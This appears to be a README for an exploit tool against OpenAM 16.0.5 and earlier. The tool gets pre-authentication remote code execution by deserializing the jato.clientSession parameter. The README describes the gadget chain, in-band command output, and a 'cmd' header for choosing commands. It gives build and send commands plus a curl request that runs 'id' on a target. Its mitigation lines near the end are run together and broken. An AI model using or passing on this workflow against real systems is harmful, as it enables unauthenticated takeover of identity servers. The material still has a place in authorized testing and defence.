
Pre-auth RCE exploit for OpenAM <=16.0.5 via Java deserialization of the jato.clientSession parameter, with comparator gadget chain and in-band command output.
Pre-authentication remote code execution in OpenIdentityPlatform OpenAM via unsafe Java
deserialization of the jato.clientSession HTTP parameter.
CVSS 9.8 (Critical) · CWE-502 · unauthenticated · single HTTP request · fixed in 16.0.6
Independent exploit implementation of the vulnerability discovered and publicly disclosed by Rahul Maini & Hacktron AI (GHSA-2cqq-rpvq-g5qj, April 2026). For authorized security testing and research only — see Legal.
CVE-2021-35464
(2021) demonstrated pre-auth RCE in OpenAM via deserialization of jato.pageSession. The vendor
fix wrapped that parameter in a WhitelistObjectInputStream. The sibling parameter
jato.clientSession kept flowing into Encoder.deserialize() unfiltered — CVE-2026-33439
is the regression born from that incomplete fix.
Any JATO ViewBean endpoint whose JSP renders <jato:form> tags (e.g. the Password Reset pages)
reconstructs client-side state from the jato.clientSession GET/POST parameter:
ClientSession.deserializeAttributes()
→ Encoder.deserialize()
→ decodeHttp64 (Base64URL, no padding) → ObjectInputStream.readObject() ← unfiltered
PriorityQueue.readObject()
→ heapify → compare()
→ Column$ColumnComparator.compare() [click 2.3.0]
→ Column.getValue() → PropertyUtils getter
→ TemplatesImpl.getOutputProperties() [xalan 2.7.3 / JDK]
→ defineTransletClasses() → newInstance()
→ static { } → arbitrary command execution
Why a comparator trigger? The classic BadAttributeValueExpException → toString() holder
was hardened in modern JDKs (its readObject no longer calls toString() unconditionally),
while PriorityQueue invoking Comparator.compare() during readObject remains portable
across JDK versions — including the JDK 21 / Tomcat 10.1 deployments where OpenAM 16.x runs.
See docs/TECHNICAL-NOTES.md.
| Feature | Detail |
|---|---|
| Single-file orchestrator | exploit/build.py embeds every Java source (translet + payload builder), auto-downloads build deps, compiles with JDK 21 |
| In-band command output | The translet recovers the live HttpServletRequest/Response from Tomcat's ApplicationFilterChain thread-locals (lastServicedRequest/Response) — command output is written directly into the HTTP response. No outbound callback required. |
| Runtime command control | The cmd HTTP header selects the command per request — one payload, many commands |
| Dual payload variants | TemplatesImpl translet (default) · --jndi builds a JdbcRowSetImpl variant for rogue-LDAP scenarios |
| Multi-endpoint delivery | exploit/send_payload.py walks known JATO ViewBean endpoints with GET + POST fallback |
| Exact wire format | Base64URL without padding, matching JATO Encoder.decodeHttp64 |
Requirements: JDK 21 (JAVA_HOME), Python 3.
./setup.sh # environment check
python3 exploit/build.py # compiles + writes payload.b64
python3 exploit/send_payload.py https://<openam-host>
Manual verification (command echo in the HTTP response):
curl -k -H "cmd: id" \
"https://<openam-host>/openam/ui/PWResetUserValidation?jato.clientSession=<payload>"
cd lab && docker compose up -d
# finish the OpenAM configuration wizard at http://localhost:8080/openam (defaults)
jato.* request parameters at the reverse proxy / WAFjato.clientSession appearing in request parametersProvided for authorized security testing, research and education only. Attack only systems you own or have explicit written permission to test. The author accepts no liability for misuse.